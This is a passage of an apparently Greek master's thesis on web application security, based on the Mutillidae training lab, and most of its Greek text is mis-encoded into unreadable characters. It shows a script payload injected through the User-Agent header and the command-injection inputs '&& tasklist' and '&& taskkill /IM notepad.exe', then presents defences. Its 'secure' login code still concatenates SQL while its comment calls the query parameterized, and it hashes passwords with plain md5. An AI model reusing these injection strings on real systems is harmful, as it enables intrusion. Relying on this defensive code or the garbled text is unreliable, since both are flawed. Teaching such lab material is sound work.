(client) πνπ μεθίλεζε ην αίηεκα. 

Μεηαβαίλνληαο ζηελ θαηεγνξία A1 – Injection  HTMLi via HTTP Headers  Site Footer , 

έρνπκε ηηο εμήο πιεξνθνξίεο: 

 Browser Version:  Mozilla/5.0 (Windows NT 6.1; rv:9.0.1) Gecko/20100101 

Firefox/9.0.1   

 Notice the browser version (shown above) being displayed in the site footer on every 

page. What could possibly go wrong? 

Απφ ηα παξαπάλσ θαηαιαβαίλνπκε πσο ζα πξέπεη λα βξνχκε έλα ηξφπν λα 

παξακεηξνπνηήζνπκε ηα ζηνηρεία ηνπ πεδίνπ “User-Agent” ηεο HTTP επηθεθαιίδαο. Απηφ 

κπνξεί λα γίλεη ρξεζηκνπνηψληαο ην πξφζζεην “User Agent Switcher” ηνπ πεξηεγεηή Mozilla 

Firefox. 

Αθνχ εγθαηαζηήζνπκε ην πξφζζεην “User Agent Switcher” (βιέπε θεθάιαην 2), αθνινπζνχκε 

ηα παξαθάησ βήκαηα: 

 Αλνίγνπκε ηνλ Firefox θαη πεγαίλνπκε: Δξγαιεία  Default User Agent Edit User 

Agents… 

 Δπηιέγνπκε απφ ην θνπκπί New  New User Agent… 

 Description: Injection 

 User Agent: <script>alert("Code Injection via User-Agent-Switcher");</script> 

 App Code Name: Mozilla 

 App Version: Netscape 

 Platform: 5.0 (Windows) 

 Vendor:  

 Vendor Sub: 
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Έπεηηα πεγαίλνπκε Δξγαιεία  Default User Agent  Injection. Αθνχ θάλνπκε ηελ επηινγή 

κεηαβαίλνπκε ζηελ ζηελ θαηεγνξία A1 – Injection  HTMLi via HTTP Headers  Site Footer, 

θαη παίξλνπκε ην αθφινπζν απνηέιεζκα: 

 

 

Δηθόλα  3.12 HTTP Header - User Agent 

 

 

Να ζεκεησζεί φηη ζην πεδίν User Agent κπνξνχκε λα βάινπκε φηη θείκελν επηζπκνχκε, απφ κία 

απιή πξφηαζε, κέρξη θαη ην πην ζχλζεην script. 
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6. A1 – Injection  Command Injection  DNS Lookup 

Σε απηή ηε θαηεγνξία ζα ζπλαληήζνπκε απεηιέο πνπ πξνθχπηνπλ απφ ηελ εθκεηάιιεπζε ηνπ 

πξνγξάκκαηνο nslookup (ησλ Windows 7 64 bit), κέζα απφ ηελ ζειίδα “DNS Lookup”. Τν 

φλνκα nslookup ζεκαίλεη “name server lookup” (“εχξεζε ζηνλ εμππεξεηεηή νλνκάησλ”), πην 

αλαιπηηθά, ην nslookup είλαη έλα πξόγξακκα ππνινγηζηή πνπ ρξεζηκνπνηείηαη ζηα Windows 

(θαη ζην Unix) γηα ηελ αλαδήηεζε πιεξνθνξηψλ ζε εμππεξεηεηέο ηνπ Σπζηήκαηνο Ολνκάησλ 

Τνκέα (DNS), φπσο νη δηεπζχλζεηο IP θάπνηνπ ππνινγηζηή, νη εγγξαθέο MX (MX records) γηα 

έλα φλνκα ηνκέα (domain name) θαη νη εμππεξεηεηέο NS ελφο ηνκέα. 

Σην πεξηβάιινλ Mutillidae φπσο έρνπκε πεη ρξεζηκνπνηείηε ε γιψζζα PHP γηα ηελ πινπνίεζε 

ησλ scripts, έηζη ζηελ ζπγθεθξηκέλε θαηεγνξία, παξαηεξνχκε φηη θνξηψλεηαη ζηνλ πεξηεγεηή 

καο ην αξρείν “dns-lookup.php”. Αλνίγνληαο ην ζπγθεθξηκέλν αξρείν, κπνξνχκε λα βξνχκε θαη 

ηηο δχν αθφινπζεο εληνιέο πνπ καο αθνξνχλ: 

-- dns-lookup.php -- 

… 
$targethost = $_REQUEST["target_host"]; 

… 

echo shell_exec("nslookup " . $targethost); 

… 

Παξαηεξνχκε φηη απφ ηελ ζχληαμε ηεο PHP πξνθχπηεη πσο ην πξφγξακκα πεξηκέλεη κία είζνδν 

σο εμήο: 
echo shell_exec("nslookup " . 'google.com'); 

 

Οπφηε, επεηδή εκείο ρξεζηκνπνηνχκε ιεηηνπξγηθό ζύζηεκα Windows θαη έρνπκε σο ζθνπφ λα 

εηζάγνπκε απξνζδφθεηα κία εληνιή ζην παξαπάλσ εξψηεκα ζα πξέπεη λα δνχκε ηη είδνπο 

εληνιέο κπνξνχκε λα εηζάγνπκε. Θα ρξεζηκνπνηήζνπκε εληνιέο θειχθνπο ησλ Windows 

(windows shell commands). ΋κσο ε απεπζείαο δεκηνπξγία κηαο εληνιήο πξνθεηκέλνπ λα 

ρξεζηκνπνηεζεί ζην θέιπθνο είλαη θαθή ηδέα! Θα πξνβνχκε ζηελ ρξήζε δηαρσξηζηώλ 

εληνιώλ, φπσο «;» θαη «&&» αλάινγα κε ην αλ έρνπκε Linux ή Windows, αληίζηνηρα. 

Απηφ πνπ έρνπκε σο ζθνπφ, είλαη λα δεκηνπξγήζνπκε, κε έγρπζε θψδηθα απεπζείαο ζηελ θφξκα 

ηεο εθαξκνγήο, ηηο δχν αθφινπζεο εληνιέο: 

-- Injected commands -- 

echo shell_exec("nslookup " . 'google.com && taskklist'); 

echo shell_exec("nslookup " . 'google.com && taskkill /IM notepad.exe'); 

 

 

 

http://ss64.com/nt/
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Μεηαβαίλνληαο ζηελ θαηεγνξία A1 – Injection  Command Injection  DNS Lookup, ζα 

εηζάγνπκε ζην πεδίν “Hostname/IP ” θαηά ζεηξά ηηο δχν αθφινπζεο εληνιέο: 

 Δληνιή 1: && tasklist 

 Δληνιή 2: && taskkill /IM notepad.exe 

Σθνπφο καο είλαη, κε ηελ πξψηε εληνιή, λα δνχκε πηεο ππεξεζίεο ηξέρνπλ ζην ζχζηεκα θαη κε 

ηελ δεχηεξε εληνιή, λα «ζθνηψζνπκε» κία απφ απηέο. Σηελ πξνθεηκέλε πεξίπησζε ηελ 

“notepad.exe”. Δθηειψληαο ηα παξαπάλσ, παίξλνπκε ηα εμήο απνηειέζκαηα: 

 

 

Δηθόλα 3.13 NSLookup Command Injecion 
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Δηθόλα 3.14 Δηθόλα πξηλ ηελ εθηέιεζε ηεο εληνιήο "taskkill". 

 

 

 

Δηθόλα 3.15 Δηθόλα κεηά ηελ εθηέιεζε ηεο εληνιήο "taskkill". 

 

Παξαηεξνχκε φηη κεηά ηελ εθηέιεζε ηεο εληνιήο καο βγαίλεη ζρεηηθφ κήλπκα γηα ην αλ ζέινπκε 

λα απνζεθεχζνπκε ην έγγξαθν πξηλ θιείζεη.  

 



Μεηαπηπρηαθή Γηαηξηβή   Τζάηκνο Διεπζέξηνο 

   44 

 
Θέκαηα Αζθάιεηαο ζηηο Σχγρξνλεο Γηαδηθηπαθέο Δθαξκνγέο 

3.2.3 Τξόπνη αληηκεηώπηζεο 

Σε απηφ ην ζεκείν ζα δνχκε πσο κπνξνχκε λα πξνζηαηεπζνχκε απφ απεηιέο ηχπνπ έγρπζεο 

θψδηθα. Αξρηθά, ε πξφιεςε απφ απεηιέο ηχπνπ έγρπζεο θψδηθα, απαηηεί ηνλ δηαρσξηζκό κε 

έκπηζησλ δεδνκέλσλ από ηα Queries θαη ηηο εληνιέο
[6]

. Η πξνηηκψκελε ιχζε ζα ήηαλ λα 

απνθιείζνπκε ηνπο εηδηθνχο ραξαθηήξεο (escape special characters) ρξεζηκνπνηψληαο θάπνην 

script πξνζαξκνζκέλν ζηηο ηδηφηεηεο ηεο γιψζζαο php. Αθφκα, κηα πην δπλακηθή πξνζέγγηζε ζα 

ήηαλ ε δεκηνπξγία θαλφλσλ γηα ηελ απνδνρή κφλν ζπγθεθξηκέλσλ ραξαθηήξσλ, απηφ φκσο δελ 

κπνξεί λα ηζρχζεη θαζνιηθά θαζψο θάπνηεο εθαξκνγέο απαηηνχλ εηδηθνχο ραξαθηήξεο σο είζνδν. 

Δπηπιέσλ, ζα εμεηάζνπκε ζε βάζνο ηελ επηθύξσζε εηζόδνπ δεδνκέλσλ απφ ηνπο ρξήζηεο, 

αλαδεηθλχνληαο ηελ ζεκαληηθφηεηα ηεο γηα ηε ζπλνιηθή αζθάιεηα ησλ εθαξκνγψλ καο. Θα 

δνχκε «πξνβιήκαηα» πνπ πξνθχπηνπλ απφ ηελ θηινζνθία ηεο php θαη ζπγθεθξηκέλα ην γεγνλφο 

φηη επηηξέπεη ηφζν ηε ρξήζε κεηαβιεηψλ ρσξίο λα έρνπλ δεισζεί, φζν θαη ηε κεηαηξνπή ηχπσλ 

κεηαβιεηψλ απηφκαηα. Αο δνχκε ινηπφλ πσο γίλνληαη φια ηα παξαπάλσ ζηελ πξάμε. 

Η πξνζέγγηζε καο γηα ηελ αληηκεηψπηζε ησλ εππαζεηψλ ηχπνπ έγρπζεο θψδηθα, ζα θηλεζεί ζε 

δχν άμνλεο: (α) ηελ επηβεβαίσζε θαη εθθαζάξηζε ησλ δεδνκέλσλ εηζφδνπ θαη (β) ηνλ 

δηαρσξηζκφ κε έκπηζησλ δεδνκέλσλ απφ ηα Queries θαη ηηο εληνιέο.  

Ξεθηλψληαο ινηπφλ, ζηελ πεξίπησζε (α) ν πην θνηλφο ηξφπνο επίζεζεο είλαη ε εηζαγσγή 

δεδνκέλσλ ιαλζαζκέλνπ ηχπνπ  ή ε εηζαγσγή ζηνηρείσλ πνπ πεξηέρνπλ εηδηθνχο ραξαθηήξεο 

απφ θάπνηνλ ρξήζηε. ΋πσο είδακε ζηελ πξνεγνχκελε ελφηεηα, ε εηζαγσγή κε έγθπξσλ 

δεδνκέλσλ ζα κπνξνχζε λα πξνθαιέζεη ζηελ εθαξκνγή καο δπζιεηηνπξγίεο φπσο εγγξαθή ησλ 

κνιπζκέλσλ δεδνκέλσλ ζε κηα βάζε δεδνκέλσλ ή αθφκα θαη ηελ δηαγξάθε ζηνηρείσλ απφ ηελ 

ελ ιφγσ βάζε δεδνκέλσλ, πξνβιήκαηα ζε άιιεο εθαξκνγέο πνπ θαινχληαη απφ ηα script καο ή 

άιια απξφζκελα απνηειέζκαηα. 

Αο δνχκε ινηπφλ πνηνη είλαη απηνί νη «εηδηθνί ραξαθηήξεο» πνπ απεηινχλ ηελ αζθάιεηα ηεο 

εθαξκνγήο καο. Αξρηθά, ππάξρνπλ νη ραξαθηήξεο πνπ ρξεζηκνπνηνχληαη γηα ηελ ιεηηνπξγία ησλ 

εληνιψλ ζε ζηηο γιψζζεο PHP θαη HTML: 

' " ; ? ! $ ^ & * ~ [ ] ( ) \ | { } < >  - ` 

Οξηζκέλνη απφ απηνχο είλαη εμαηξεηηθά επηθίλδπλνη φηαλ ρξεζηκνπνηνχληαη ζε Queries γηα 

βάζεηο δεδνκέλσλ:  

; ' " \ 

 

Αλάινγα κε ηε δνκή θαη ηελ εθηέιεζε ηνπ εξσηήκαηνο, απηνί νη ραξαθηήξεο ζα κπνξνχζαλ λα 

ρξεζηκνπνηεζνχλ γηα λα εγρχζνπλ επηπξφζζεηεο εληνιέο SQL ζην εξψηεκα. Απηφ αθνξά ηελ 

πεξίπησζε (β) θαη ζα ην δνχκε αλαιπηηθά παξαθάησ. 

 

Παξαηήξεζε: Σηνπο εηδηθνχο ραξαθηήξεο αλήθνπλ θαη νη θσδηθνπνηήζεηο ησλ παξαπάλσ 

ραξαθηήξσλ ζε κνξθή ASCII (βιέπε Κεθάιαην 3.3.2).  
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Πσο κπνξνχκε ινηπφλ λα ειέγμνπκε θαη ζηελ ζπλέρεηα λα δηνξζψζνπκε ηα δεδνκέλα πνπ 

δέρεηαη σο είζνδν ε εθαξκνγή καο, κε ρξήζε ηεο γιψζζαο PHP; Θα κπνξνχζακε λα πνχκε φηη 

ππάξρνπλ δχν (2) ηξφπνη (νη νπνίνη κπνξνχλ λα ζπλδπαζηνχλ), ε ρξήζε ζπλαξηήζεσλ θαη 

κεραληζκψλ ειέγρνπ πνπ παξέρεη ε ίδηα ε PHP (PHP Filter) ή δεκηνπξγία δηθψλ καο 

ζπλαξηήζεσλ αλάινγα κε ηηο εθάζηνηε ζπλζήθεο. 

Τη είλαη ηα PHP filters θαη γηαηί λα ηα ρξεζηκνπνηήζνπκε; Τα PHP filters ρξεζηκνπνηνχληαη 

γηα λα επαιεζεχζνπκε θαη λα θηιηξάξνπκε ηα δεδνκέλα πνπ πξνέξρνληαη απφ αλαζθαιείο 

πεγέο, φπσο ε είζνδνο δεδνκέλσλ απφ ρξήζηεο. Η ρξήζε ηνπο είλαη ζεκαληηθή θαζψο ζρεδφλ 

φιεο νη δηαδηθηπαθέο εθαξκνγέο εμαξηψληαη απφ θάπνηαο κνξθήο εμσηεξηθή είζνδν. Σπλήζσο 

απηή έξρεηαη απφ θάπνηνλ ρξήζηε ή θάπνηα άιιε εθαξκνγή (φπσο κηα ππεξεζία Web). Με ηε 

ρξήζε θίιηξσλ κπνξνχκε λα είκαζηε ζίγνπξνη φηη ε εθαξκνγή καο παίξλεη ην ζσζηφ ηχπν 

εηζφδνπ. 

Γηα λα θηιηξάξνπκε κηα κεηαβιεηή (ή γεληθά ηελ είζνδν), κπνξνχκε λα ρξεζηκνπνηήζνπκε κία 

απφ ηηο παξαθάησ ζπλαξηήζεηο (filter functions): 

Σπλάξηεζε Σύληαμε Πεξηγξαθή 

filter_has_var() 
filter_has_var(type,variable) 

Διέγρεη αλ κηα 

κεηαβιεηή 

ζπγθεθξηκέλνπ ηχπνπ 

ππάξρεη 

filter_id() filter_id(filter_name) 
Δπηζηξέθεη ηνλ αξηζκφ 

ID ηνπ ζπγθεθξηκέλνπ 

θίιηξνπ 

filter_input() 
filter_input(input_type, 

variable, filter, options) 

Παίξλεη είζνδν έμσ απφ 

ην script θαη ηε 

θηιηξάξεη 

filter_input_array() 
filter_input_array(input_type, 

filter_args) 

Παίξλεη πνιιαπιέο 

εηζφδνπο έμσ απφ ην 

script θαη ηηο θηιηξάξεη 

filter_list() filter_list() 
Δπηζηξέθεη έλαλ πίλαθα 

φια ηα ππνζηεξηδφκελα 

θίιηξα 

filter_var_array() filter_var_array(array, args) 
Παίξλεη πνιιέο 

κεηαβιεηέο θαη ηηο 

θηιηξάξεη 

filter_var() 
filter_var(variable, filter, 

options) 
Παίξλεη κηα κεηαβιεηή 

θαη ηελ θηιηξάξεη 
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Οη παξαπάλσ ζπλαξηήζεηο κπνξνχλ λα δερζνχλ ηα παξαθάησ νξίζκαηα (PHP Filters), θάζε έλα 

απφ ηα νπνία έρεη μερσξηζηή ζεκαζία: 

 

Όλνκα Φίιηξνπ (ID) Πεξηγξαθή 

FILTER_CALLBACK 
Καιεί κηα νξηδφκελε απφ ην ρξήζηε ζπλάξηεζε γηα λα 

Φηιηξάξηζκα δεδνκέλσλ 

FILTER_SANITIZE_STRING 
Αθαηξεί ηα tags θαη 

πξναηξεηηθά ηνπο εηδηθνχο ραξαθηήξεο 

FILTER_SANITIZE_STRIPPED Δλαιιαθηηθφ ηνπ θίιηξνπ "string" 

FILTER_SANITIZE_ENCODED 
Αθαηξεί ή URL-θσδηθνπνηεί ηνπο αλεπηζχκεηνπο 

ραξαθηήξεο 

FILTER_SANITIZE_SPECIAL_CHARS 
Φηιηξάξηζκα ησλ: " < > & θαη ησλ ραξαθηήξσλ 

ASCII ηηκή θάησ απφ 32 

FILTER_SANITIZE_EMAIL 
Απηφ ην θίιηξν επηηξέπεη φια ηα γξάκκαηα, ςεθία θαη 

$-_ + * '{} |.!; ~ ^ [] `% # / @ & = 

FILTER_SANITIZE_URL 

Αυτό το φίλτρο επιτρέπει όλα τα γράμματα, ψηφία και 

$-_ + * »(), {} | \\ ^ ~ []` "> <% 

#;/:.!; @ & = 

FILTER_SANITIZE_NUMBER_INT 
Αθαηξεί φινπο ηνπο ραξαθηήξεο, εθηφο απφ ηα ςεθία θαη 

+ - 

FILTER_SANITIZE_NUMBER_FLOAT 
Αθαηξεί φινπο ηνπο ραξαθηήξεο, εθηφο απφ ηα ςεθία: + 

- θαη πξναηξεηηθά: . , e E 

FILTER_SANITIZE_MAGIC_QUOTES 
Απηφ ην θίιηξν ζέηεη backslashes κπξνζηά απφ ηνπο 

πξνθαζνξηζκέλνπο ραξαθηήξεο. 

FILTER_UNSAFE_RAW 

Απηφ ην θίιηξν αθαηξεί ζηνηρεία πνπ ελδερνκέλσο είλαη 

επηβιαβή γηα ηελ εθαξκνγή καο, αθαηξεί ή θσδηθνπνηεί 

ηνπο αλεπηζχκεηνπο ραξαθηήξεο. 

FILTER_VALIDATE_INT 
Validate value as integer, optionally from the specified 

range 

FILTER_VALIDATE_BOOLEAN 

Δπηζηξέθεη TRUE γηα "1", "true", "on" θαη "yes", 

FALSE γηα "0", "false", "off", "no", θαη "", NULL γηα 

νηηδήπνηε άιιν. 

FILTER_VALIDATE_FLOAT Δπηθχξσζε ηηκήο σο float 

FILTER_VALIDATE_URL Δπηθχξσζε ηηκήο σο δηεχζπλζε URL 

FILTER_VALIDATE_EMAIL Δπηθχξσζε ηηκήο σο e-mail 

FILTER_VALIDATE_IP 
Δπηθχξσζε ηηκήο σο δηεχζπλζε IP, πξναηξεηηθά IPv4 ή 

IPv6 
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΋πσο πξνθχπηεη απφ ηα παξαπάλσ, ππάξρνπλ δχν ηχπνη θίιηξσλ: 

 Φίιηξα Δπηθχξσζεο (Validating filters): 

 Φξεζηκνπνηνχληαη γηα ηελ επηθχξσζε ηεο εηζφδνπ. 

 Έρνπλ θαλφλεο κνξθήο (φπσο URL ή E-Mail validating). 

 Δπηζηξέθνπλ ηνλ αλακελφκελν ηχπν φηαλ αιεζεχνπλ ή FALSE φηαλ 

απνηπγράλνπλ. 

 Φίιηξα «Δθθαζάξηζεο» (Sanitizing filters): 

 Φξεζηκνπνηνχληαη γηα λα επηηξέςνπλ ή λα απνξξίςνπλ ζπγθεθξηκέλνπο 

ραξαθηήξεο ζε κία ζπκβνινζεηξά. 

 Γελ έρνπλ θαλφλεο κνξθήο. 

 Δπηζηξέθνπλ πάληα ηελ ζπκβνινζεηξά. 

Αο δνχκε ινηπφλ θάπνηα πξαθηηθά παξαδείγκαηα
[16]

 γηα ηελ ρξήζε ησλ PHP Filters/Functions. 

Αξρηθά ζα δνχκε έλα παξάδεηγκα επηθύξσζεο εηζόδνπ απφ κία θφξκα πνπ δέρεηαη σο είζνδν 

θάπνην email. Τν πξψην πξάγκα πνπ θάλνπκε είλαη λα δνχκε θαηά πφζν ππάξρνπλ δεδνκέλα 

πξνο επηθχξσζε θαη ζηελ ζπλέρεηα ειέγρνπκε ηα δεδνκέλα. Σηελ ζπγθεθξηκέλε πεξίπησζε 

ππνζέηνπκε πσο ε κεηαβιεηή “email” έξρεηαη σο είζνδνο (κε $_GET) ζην script καο: 

<?php 

    if(!filter_has_var(INPUT_GET, "email")) { 

        echo("Den Yparxoun Dedomena"); 

    } 

    else { 

        if (!filter_input(INPUT_GET, "email", FILTER_VALIDATE_EMAIL)) { 

            echo "To E-Mail einai akyro"; 

        } 

        else { 

            echo "To E-Mail einai egyro"; 

        } 

    } 

?>  
 

Σην παξάδεηγκα πνπ αθνινπζεί ζα θάλνπκε «εθθαζάξηζε» (sanitize) ηεο εηζόδνπ. Ωο είζνδν 

ην script καο ιακβάλεη έλα URL κε ηελ κέζνδν $_POST. Αξρηθά, ζα ειέγμνπκε  αλ ππάξρνπλ 

δεδνκέλα πξνο «εθθαζάξηζε» θαη ζηελ ζπλέρεηα ζα ηα επεμεξγαζηνχκε (απνκάθξπλζε κε 

έγθπξσλ ραξαθηήξσλ).   

<?php 

    if(!filter_has_var(INPUT_POST, "url")) { 

        echo("Den Yparxoun Dedomena"); 

    } 

    else { 

        $url = filter_input(INPUT_POST,"url", FILTER_SANITIZE_URL); 

    } 

?>  
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Αδηακθηζβήηεηα, ε επηθχξσζε θαη «εθθαζάξηζε» ηεο εηζφδνπ, απνηειεί ηνλ ζεκαληηθφηεξν 

ππιψλα  αζθάιεηαο κηαο δηαδηθηπαθήο εθαξκνγήο. Ωζηφζν, ππάξρεη θαη έλαο επηπιέσλ ηξφπνο 

δηαζθάιηζεο ηεο εθαξκνγήο καο, ν νπνίνο ζηνρεχεη ζηελ αζθαιή δεκηνπξγία SQL Queries. 

΋πσο ζπδεηήζακε ζηελ αξρή ηνπ θεθαιαίνπ, έλα απφ ηα βαζηθά αίηηα ηνπ Code Injection είλαη 

ε δεκηνπξγία εξσηεκάησλ SQL σο ζπκβνινζεηξέο, πνπ ζηε ζπλέρεηα απνζηέιινληαη ζηε βάζε 

δεδνκέλσλ γηα εθηέιεζε. Απηή ε ζπκπεξηθνξά, θνηλψο γλσζηή σο δπλακηθή SQL, είλαη κία απφ 

ηηο θχξηεο αηηίεο πνπ νη εθαξκνγέο είλαη επάισηεο ζε απηνχ ηνπ είδνπο επηζέζεηο. Ωο πην αζθαιή 

ελαιιαθηηθή ιχζε αλαπηχρζεθε ε ηερληθή ησλ παξακεηξνπνηήζηκσλ δειώζεσλ 

(parameterized statements), ε νπνία κπνξεί λα ιχζεη πνιιά ζέκαηα SQL Injection
[19]

, πνπ 

ζπλαληψληαη ζε κηα εθαξκνγή. Έρεη επίζεο ην πιενλέθηεκα, φηη είλαη πνιχ απνηειεζκαηηθή ζε 

ζχγρξνλεο βάζεηο δεδνκέλσλ, θαζψο έηζη νη βάζεηο δεδνκέλσλ κπνξνχλ λα βειηηζηνπνηήζνπλ ην 

εξψηεκα, απμάλνληαο ηελ απφδνζε ηεο Β.Γ. ζηα επφκελα εξσηήκαηα. 

Αθνινπζεί έλα παξάδεηγκα επάισηνπ PHP θψδηθα γηα Log-In, φπνπ γίλεηαη ρξήζε δπλακηθήο 

SQL. Θα ζπδεηήζνπκε γηα ην πψο ζα παξακεηξνπνηήζνπκε απηφλ ηνλ θψδηθα παξαθάησ. 

 ... 
//Post stoixeia Log-in  

$username = $_POST['username']; 

$password = $_POST['password']; 

 

//Dimiourgia SQL query 

$qry="SELECT * FROM member WHERE username='$username' AND 

password='$password'"; 

$result=mysql_query($qry); 
 

//Elegxos Epituxias h Apotuxias tou query 

if($result) { 

 ... 

 

Αο δνχκε φκσο, πσο κπνξεί λα γίλεη «απνιχκαλζε» ηεο εηζφδνπ, ζπγθεθξηκέλα γηα ηε MySQL. Ο 

MySQL Server ρξεζηκνπνηεί (επίζεο) ην κνλφ εηζαγσγηθφ γηα ηνλ ηεξκαηηζκφ εηζφδνπ κίαο 

κεηαβιεηήο/ηηκήο, γη 'απηφ είλαη απαξαίηεην λα «επεμεξγάδεηαη» ην κνλφ εηζαγσγηθφ, φηαλ 

πεξηιακβάλεηαη ζε εθθξάζεηο πνπ πξφθεηηαη λα εληαρζνχλ ζ’ έλα δπλακηθφ SQL Query. Σηελ 

MySQL, κπνξνχκε λα ην θάλνπκε απηφ είηε κε ηελ αληηθαηάζηαζε ηνπ κνλνχ εηζαγσγηθνχ κε 

δχν κνλά εηζαγσγηθά ή πξνζζέηνληαο κηα αλάζηξνθε θάζεην (\). Καζέλα απφ απηά ζα 

πξνθαιέζεη ην κνλφ εηζαγσγηθφ λα αληηκεησπίδεηαη σο κέξνο ηνπ αιθαξηζκεηηθφ θαη φρη σο έλα 

ζχκβνιν ηεξκαηηζκνχ, απνηξέπνληαο έηζη απνηειεζκαηηθά έλαλ θαθφβνπιν ρξήζηε λα 

εθκεηαιιεπηεί απηφ ην εξψηεκα.  

Απηφ κπνξεί λα γίλεη κε ρξήζε ηεο γιψζζαο PHP, θάλνληαο ρξήζε ηεο ζπλάξηεζεο 

mysql_real_escape_string( ), ε νπνία απηφκαηα θάλεη φια ηα παξαπάλσ αιιά θαη 

πεξηζζφηεξα. 
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Τν παξαθάησ script αλαιακβάλεη ηελ αζθαιή ζχλδεζε ελφο ρξήζηε ζην ζχζηεκα, θάλνληαο 

πξφβιεςε γηα SQL Injection, Code Injection, Session Hijacking θαη Session Fixation επηζέζεηο. 
 

<?php 

    //Ekinisi session gia na paroume tis metavlites $_POST 

    session_start(); 

     

    //Pinakas gia tin fyllaksh ton lathon validation 

    $errmsg_arr = array(); 

     

    //Shmaia Lathous 

    $errflag = false; 

     

    //Syndesi ston mysql server 

    $link = mysql_connect(DB_HOST, DB_USER, DB_PASSWORD); 

    if(!$link) { 

        die('Apotyxia Sindesis ston server: ' . mysql_error()); 

    } 

     

    //Epilogi Vasis Dedomenon 

    $db = mysql_select_db(DB_DATABASE); 

    if(!$db) { 

        die("Den einai dinati i epilogi tis Bashs Dedomenon"); 

    } 

     

    //Synartisi gia sanitize ton timon poy lamvanonte apo tin forma.  

    //Merimna gia SQL injection 

    function myclean($str) { 

        $str = @trim($str); 

        if(get_magic_quotes_gpc()) { //Epistrefei to status twn 

magic_quotes_gpc 

            $str = stripslashes($str); //Afairei ta backslashes 

        } 

        return mysql_real_escape_string($str); 

    } 

     

    //Kanoume Sanitize tis times POST  

    $username = myclean($_POST['username']); 

    $password = myclean($_POST['password']); 

     

    //Elegxoume an yparxei eisodos 

    if($username == '') { 

        $errmsg_arr[] = 'To Login Username Leipei'; 

        $errflag = true; 

    } 

    if($password == '') { 

        $errmsg_arr[] = 'To Login Password Leipei'; 

        $errflag = true; 

    } 

     

    //An ypaxei provlima, kanoume redirect stin arxiki selida 

    if($errflag) { 

        $_SESSION['ERRMSG_ARR'] = $errmsg_arr; //Kratame ta lathoi 

        session_write_close(); //Grafoume k kleinoume to session 

        header("location: ../index.php"); //redirect 

        exit(); //eksodos apo to script 

    } 
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 //Dhmiourgia tou paremeterized query, xrhsh md5() gia to password 

    $qry="SELECT * FROM member WHERE username='$username' AND 

password='".md5($_POST['password'])."'"; 

    $result=mysql_query($qry); 

     

    //Elegxos Epituxias h Apotuxias tou query 

    if($result) { 

        if(mysql_num_rows($result) == 1) { //Login Successful 

            //Kanoume Regenerate to session ID gia profilaksi apo "session 

fixation attacks" 

            session_regenerate_id(); 

            $member = mysql_fetch_assoc($result); //pairnoume ta apotelesmata 

            $_SESSION['SESS_FIRST_NAME'] = $member['username']; //p.x. 

kratame to username 

            $_SESSION['LEVEL'] = $member['level']; //p.x. kratame to level 

dikaiomaton 

            session_write_close(); 

            header("location: ../index.php"); 

            exit(); 

        }else { //Login failed 

            header("location: login-failed.php"); 

            exit(); 

        } 

    }else { 

        die("Query failed"); 

    } 

?> 

 

Αλαθεθαιαηψλνληαο, φινη νη πξνγξακκαηηζηέο δηαδηθηπαθψλ εθαξκνγψλ, ζα πξέπεη λα 

αθνινπζνχκε θάπνηνπο γεληθνχο θαλφλεο, πξνθεηκέλνπ λα δηαηεξνχκε ηηο εθαξκνγέο καο 

αζθαιείο:  

 Δπηθχξσζε θαη «Δθθαζάξηζε» ηεο εηζφδνπ. 

 Πεξηνξηζκφο ηεο πιεξνθνξίαο εμφδνπ ζε πεξίπησζε ιάζνπο. 

 Φξήζε παξακεηξνπνηήζηκσλ εθθξάζεσλ (Parameterized Statements). 

 Κνηλσληθνπνίεζε θψδηθα, γηα παξάδεηγκα ηα θίιηξα εηζφδνπ θαη ε έμνδνο πξέπεη λα 

εθηεινχληαη κεηά ηελ «απνθσδηθνπνίεζε» ηεο εηζφδνπ. 

 Έιεγρνο γηα ηηο πνιιαπιέο αλαπαξαζηάζεηο θαη ηξφπνπο θσδηθνπνίεζεο θάζε 

ραξαθηήξα. 
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3.3 Δππάζεηεο ηύπνπ Cross-Site Scripting (XSS) 

Η πιεηνςεθία ησλ πην δηαδεδνκέλσλ επηζέζεσλ, ελαληίνλ ησλ δηαδηθηπαθψλ εθαξκνγψλ,  

πεξηιακβάλεη ηελ ζηφρεπζε ηνπ server-side κέξνπο ηεο εθαξκνγήο. Φπζηθά πνιιέο απφ απηέο ηηο 

επηζέζεηο, επεξεάδνπλ άκεζα ή έκκεζα θαη ηνπο άιινπο ρξήζηεο, αιιά ην δεηνχκελν απφ ηνλ 

εηζβνιέα είλαη ε αιιειεπίδξαζε κε ην δηαθνκηζηή κε απξνζδφθεηνπο ηξφπνπο, πξνθεηκέλνπ λα 

εθηειέζεη κε εμνπζηνδνηεκέλεο ελέξγεηεο θαη λα απνθηήζεη κε εμνπζηνδνηεκέλε πξφζβαζε ζε 

δεδνκέλα. 

Οη επηζέζεηο πνπ πεξηγξάθνληαη ζην θεθάιαην απηφ αληηκεησπίδνληαη σο μερσξηζηή θαηεγνξία, 

επεηδή ν πξσηαξρηθφο ζηφρνο ηνπ εηζβνιέα είλαη νη άιινη ρξήζηεο ηεο εθαξκνγήο θαη φρη ε 

εθαξκνγή απηή θαζ’ απηή. Τν ζχλνιν ησλ εππαζεηψλ εμαθνινπζεί λα ππάξρεη, σζηφζν, ν 

επηηηζέκελνο αμηνπνηεί θάπνηα πηπρή ηεο (απξφζκελεο) ζπκπεξηθνξάο ηεο εθαξκνγήο 

πξνθεηκέλνπ λα πινπνηήζεη θαθφβνπιεο ελέξγεηεο θαηά άιισλ ρξεζηψλ. Θα κπνξνχζε θαλείο 

λα ηζρπξηζηεί φηη ην XSS είλαη ην ίδην κε ηελ επίζεζε “Command Injection” πνπ είδακε ζην 

πξνεγνχκελν θεθάιαην. Κάηη ηέηνην φκσο δελ είλαη ζσζηφ, θαζώο κία επίζεζε XSS αξρηθά 

ζηνρεύεη ηνπο άιινπο ρξήζηεο ηεο εθαξκνγήο, ελώ κία επίζεζε “ Command 

Injection” έρεη εμ’ αξρήο ωο ζηόρν ηελ ίδηα ηελ εθαξκνγή . 

Τν Cross-Site scripting (XSS)
[1 2 ]

 ζεσξείηαη ε λαπαξρίδα ησλ επηζέζεσλ ελάληηα ζε 

άιινπο ρξήζηεο πνπ ρξεζηκνπνηνχλ δηαδηθηπαθέο εθαξκνγέο . Δίλαη θαηά ηα θαηλφκελα, ε πην 

δηαδεδνκέλε εππάζεηα δηαδηθηπαθήο εθαξκνγήο, πνπ πιήηηεη θπξηνιεθηηθά ηε κεγάιε 

πιεηνςεθία ησλ online εθαξκνγψλ, ζπκπεξηιακβαλνκέλσλ θαη απηψλ πνπ ρξεζηκνπνηνχλ νη 

ηξάπεδεο. 

